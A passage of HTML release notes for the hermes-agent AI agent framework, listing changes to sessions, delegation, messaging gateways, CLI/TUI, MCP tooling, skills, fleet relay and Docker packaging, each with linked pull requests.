<li>Optional <strong>max session cap</strong>; drop empty sessions on CLI exit and rotation; ACP session-provenance metadata for compression rotation (<a href="https://github.com/NousResearch/hermes-agent/pull/42389" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/42389/hovercard">#42389</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/43855" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/43855/hovercard">#43855</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/41724" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/41724/hovercard">#41724</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Delegation: resolve custom-endpoint subagent pools by endpoint identity; remove the default subagent wall-clock timeout; stop subagent completion lines leaking into parent CLI display (<a href="https://github.com/NousResearch/hermes-agent/pull/41730" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/41730/hovercard">#41730</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/45149" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/45149/hovercard">#45149</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/44223" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/44223/hovercard">#44223</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Kanban: config-gated auto-subscribe on <code>kanban_create</code>; machine-global singleton lock for the embedded dispatcher; pin assigned profile toolsets for workers; hold reclaim while worker still alive (<a href="https://github.com/NousResearch/hermes-agent/pull/48635" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/48635/hovercard">#48635</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/49068" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/49068/hovercard">#49068</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/45590" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/45590/hovercard">#45590</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/49064" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/49064/hovercard">#49064</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Memory: configurable Hindsight retain observation scopes; OpenViking setup UX; Honcho gateway-gated identity tree; Supermemory session-level ingest (<a href="https://github.com/NousResearch/hermes-agent/pull/46611" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/46611/hovercard">#46611</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/48262" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/48262/hovercard">#48262</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/44431" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/44431/hovercard">#44431</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/38756" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/38756/hovercard">#38756</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/alt-glitch/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/alt-glitch">@alt-glitch</a>)</li>
</ul>
<h2>📱 Messaging Platforms (Gateway)</h2>
<h3>New channels</h3>
<ul>
<li><strong>iMessage via Photon Spectrum</strong> — <code>hermes photon login</code> (device-code OAuth), gRPC-native channel (no webhook), markdown rendering, emoji reactions, outbound media via spectrum-ts (<a href="https://github.com/NousResearch/hermes-agent/pull/32348" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/32348/hovercard">#32348</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/42582" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/42582/hovercard">#42582</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/44713" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/44713/hovercard">#44713</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/42397" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/42397/hovercard">#42397</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li><strong>WhatsApp Business Cloud API</strong> adapter (official, no bridge process) (<a href="https://github.com/NousResearch/hermes-agent/pull/44331" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/44331/hovercard">#44331</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/43921" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/43921/hovercard">#43921</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jquesnelle/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jquesnelle">@jquesnelle</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li><strong>SimpleX</strong> — groups, native attachments, text batching, auto-accept; <strong>Raft</strong> bundled platform plugin with activity hooks (<a href="https://github.com/NousResearch/hermes-agent/pull/42584" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/42584/hovercard">#42584</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/48210" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/48210/hovercard">#48210</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
</ul>
<h3>Gateway core &amp; rendering</h3>
<ul>
<li>Render terminal tool calls as native bash code blocks on markdown platforms; bare fenced code blocks in chat; optional message timestamps for LLM context; configurable <code>tool_progress_grouping</code> (<a href="https://github.com/NousResearch/hermes-agent/pull/41215" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/41215/hovercard">#41215</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/42576" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/42576/hovercard">#42576</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/47253" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/47253/hovercard">#47253</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/47228" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/47228/hovercard">#47228</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Telegram: Bot API 10.1 rich messages (now always-on with opt-out); opt-in Online/Offline bot status indicator; stop cutting long streamed responses; MarkdownV2 on progress edits; gate oversized voice/audio before download (<a href="https://github.com/NousResearch/hermes-agent/pull/44829" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/44829/hovercard">#44829</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/45584" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/45584/hovercard">#45584</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/49134" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/49134/hovercard">#49134</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/43761" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/43761/hovercard">#43761</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/44245" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/44245/hovercard">#44245</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Discord: propagate <code>role_authorized</code> so <code>DISCORD_ALLOWED_ROLES</code> works end-to-end; recover from runtime gateway task exits; cancel <code>_bot_task</code> on connect failure; stop typing after replies (<a href="https://github.com/NousResearch/hermes-agent/pull/43327" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/43327/hovercard">#43327</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/44383" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/44383/hovercard">#44383</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/44432" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/44432/hovercard">#44432</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/44836" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/44836/hovercard">#44836</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Slack: scope top-level channel messages when <code>reply_in_thread=false</code>; thread approval UX (block-size overflow + typed-prefix); make video attachments available to agents; <code>register_slack_action_handler</code> plugin API (<a href="https://github.com/NousResearch/hermes-agent/pull/41703" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/41703/hovercard">#41703</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/43444" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/43444/hovercard">#43444</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/45512" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/45512/hovercard">#45512</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/44664" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/44664/hovercard">#44664</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Replied-to media attachments included; document attachments classified as DOCUMENT on Signal/Email/SimpleX/Teams; WhatsApp restarts stale bridge processes; Matrix room-context isolation; QQbot CPU-spin fix; Weixin rate-limit circuit breaker (<a href="https://github.com/NousResearch/hermes-agent/pull/46107" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/46107/hovercard">#46107</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/44695" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/44695/hovercard">#44695</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/44205" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/44205/hovercard">#44205</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/18505" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/18505/hovercard">#18505</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/40574" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/40574/hovercard">#40574</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/41718" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/41718/hovercard">#41718</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/banditburai/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/banditburai">@banditburai</a>)</li>
</ul>
<h2>🖥️ CLI, TUI &amp; Setup</h2>
<ul>
<li><code>/version</code> slash command; <code>/billing</code> interactive terminal billing (TUI + CLI); show time since last final agent response on the status bar; persist resolved approval/clarify prompts in scrollback (<a href="https://github.com/NousResearch/hermes-agent/pull/40214" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/40214/hovercard">#40214</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/45449" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/45449/hovercard">#45449</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/44265" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/44265/hovercard">#44265</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/44702" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/44702/hovercard">#44702</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Lock hermes worktrees so concurrent processes can't clobber them; display custom profile alias names in list/show; clone profiles from any source (<a href="https://github.com/NousResearch/hermes-agent/pull/48699" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/48699/hovercard">#48699</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/40371" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/40371/hovercard">#40371</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/45630" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/45630/hovercard">#45630</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Opt-in structured profile-build path on first contact; configurable per-platform system-prompt hints; configurable background memory/skill notifications (<a href="https://github.com/NousResearch/hermes-agent/pull/41114" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/41114/hovercard">#41114</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/48630" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/48630/hovercard">#48630</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/47226" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/47226/hovercard">#47226</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>TUI: interactive Plugins Hub enable/disable overlay; session name in the terminal titlebar; paint approval/clarify/sudo/secret modals directly (not via throttle); wrap long approval commands instead of truncating (<a href="https://github.com/NousResearch/hermes-agent/pull/42965" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/42965/hovercard">#42965</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/43188" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/43188/hovercard">#43188</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/41155" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/41155/hovercard">#41155</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/44691" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/44691/hovercard">#44691</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>TTS: Gemini persona prompts + audio tags; xAI auto speech tags + speed/streaming knobs; Piper speaker_id; OGG for Telegram auto-TTS (<a href="https://github.com/NousResearch/hermes-agent/pull/43442" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/43442/hovercard">#43442</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/49061" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/49061/hovercard">#49061</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/49062" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/49062/hovercard">#49062</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/49060" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/49060/hovercard">#49060</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/41644" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/41644/hovercard">#41644</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
</ul>
<h2>🔧 Tool System, Skills &amp; MCP</h2>
<ul>
<li><strong>image-to-image / editing</strong> in <code>image_generate</code> across all backends; shrink images to provider dimension limit (<a href="https://github.com/NousResearch/hermes-agent/pull/48705" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/48705/hovercard">#48705</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/45979" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/45979/hovercard">#45979</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>MCP: official <strong>Unreal Engine 5.8</strong> MCP server in the catalog; <strong>elicitation handler</strong> so MCP servers can prompt for mid-tool-call confirmation (payment/OAuth) on whichever surface owns the session — CLI/TUI/Telegram/Slack; expose late-connecting MCP tools to the agent between turns (cache-safe); keepalive ping for short-TTL HTTP sessions; block exfil-shaped / suspicious stdio configs before probe; capability-gate <code>tools/list</code> so prompt-only servers connect; preserve stdio argv passthrough + Windows env vars (<a href="https://github.com/NousResearch/hermes-agent/pull/48397" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/48397/hovercard">#48397</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/49203" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/49203/hovercard">#49203</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/49208" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/49208/hovercard">#49208</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/49221" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/49221/hovercard">#49221</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/46083" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/46083/hovercard">#46083</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/44550" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/44550/hovercard">#44550</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/44324" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/44324/hovercard">#44324</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/lgalabru/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/lgalabru">@lgalabru</a>)</li>
<li>Skills: <code>simplify-code</code> skill (parallel 3-agent code review &amp; cleanup) + risk-tiered application with Chesterton's Fence; find &amp; diff user-modified bundled skills; optional <strong>payments</strong> skills (Stripe Link, MPP, Projects); CLI-based shop skill; live per-source browse progress (<a href="https://github.com/NousResearch/hermes-agent/pull/41691" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/41691/hovercard">#41691</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/49070" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/49070/hovercard">#49070</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/48286" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/48286/hovercard">#48286</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/31343" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/31343/hovercard">#31343</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/47309" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/47309/hovercard">#47309</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/43398" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/43398/hovercard">#43398</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/colinwren-stripe/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/colinwren-stripe">@colinwren-stripe</a>)</li>
<li>Curator: make skill consolidation opt-in (prune stays default-on) (<a href="https://github.com/NousResearch/hermes-agent/pull/47840" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/47840/hovercard">#47840</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Plugins: install from a subdirectory within a repo; accept browser-pasted GitHub URLs in <code>hermes plugins install</code>; <code>session:compress</code> lifecycle event + <code>thread_id</code>/<code>chat_type</code> in agent:start/end context (<a href="https://github.com/NousResearch/hermes-agent/pull/42963" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/42963/hovercard">#42963</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/33539" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/33539/hovercard">#33539</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/47252" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/47252/hovercard">#47252</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/41672" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/41672/hovercard">#41672</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Memory/skill <strong>write approval</strong> gate (default off) — boolean <code>write_approval</code> replaces the tri-state <code>write_mode</code> (<a href="https://github.com/NousResearch/hermes-agent/pull/38199" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/38199/hovercard">#38199</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/43354" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/43354/hovercard">#43354</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
</ul>
<h2>🌐 Fleet, Relay &amp; Automation</h2>
<ul>
<li><strong>Managed scope</strong> — administrator-pinned, user-immutable config &amp; secrets from a root-owned <code>/etc/hermes</code> (<a href="https://github.com/NousResearch/hermes-agent/pull/49098" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/49098/hovercard">#49098</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li><strong>Multiplex all profiles over one gateway process</strong> (opt-in) (<a href="https://github.com/NousResearch/hermes-agent/pull/48273" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/48273/hovercard">#48273</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/benbarclay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/benbarclay">@benbarclay</a>)</li>
<li><strong>Pluggable CronScheduler</strong> + Chronos managed-cron provider (scale-to-zero) (<a href="https://github.com/NousResearch/hermes-agent/pull/48275" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/48275/hovercard">#48275</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/benbarclay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/benbarclay">@benbarclay</a>)</li>
<li><strong>Automation Blueprints</strong> — parameterized automation templates across every surface (<a href="https://github.com/NousResearch/hermes-agent/pull/41309" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/41309/hovercard">#41309</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Gateway-Gateway relay (phases 0-3): relay adapter + capability descriptor, connector⇄gateway channel auth + signed-HTTP inbound + enroll CLI, WS-only inbound, managed-boot self-provision client (<a href="https://github.com/NousResearch/hermes-agent/pull/48078" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/48078/hovercard">#48078</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/48147" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/48147/hovercard">#48147</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/48294" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/48294/hovercard">#48294</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/48242" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/48242/hovercard">#48242</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
</ul>
<h2>🐳 Docker, Nix &amp; Installer</h2>
<ul>
<li>s6: detect supervisor directly for gateway restart; register profile gateways without auto-starting; persist desired state; clear stale log locks (<a href="https://github.com/NousResearch/hermes-agent/pull/46290" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/46290/hovercard">#46290</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/46266" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/46266/hovercard">#46266</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/46292" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/46292/hovercard">#46292</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/46289" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/46289/hovercard">#46289</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Docker: optimize image size (.dockerignore, drop dev deps, split layers); pre-install matrix deps; supervised gateway uses <code>--replace</code>; harden hosted install tree against self-modification (<a href="https://github.com/NousResearch/hermes-agent/pull/38749" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/38749/hovercard">#38749</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/42413" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/42413/hovercard">#42413</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/47555" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/47555/hovercard">#47555</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/47490" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/47490/hovercard">#47490</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
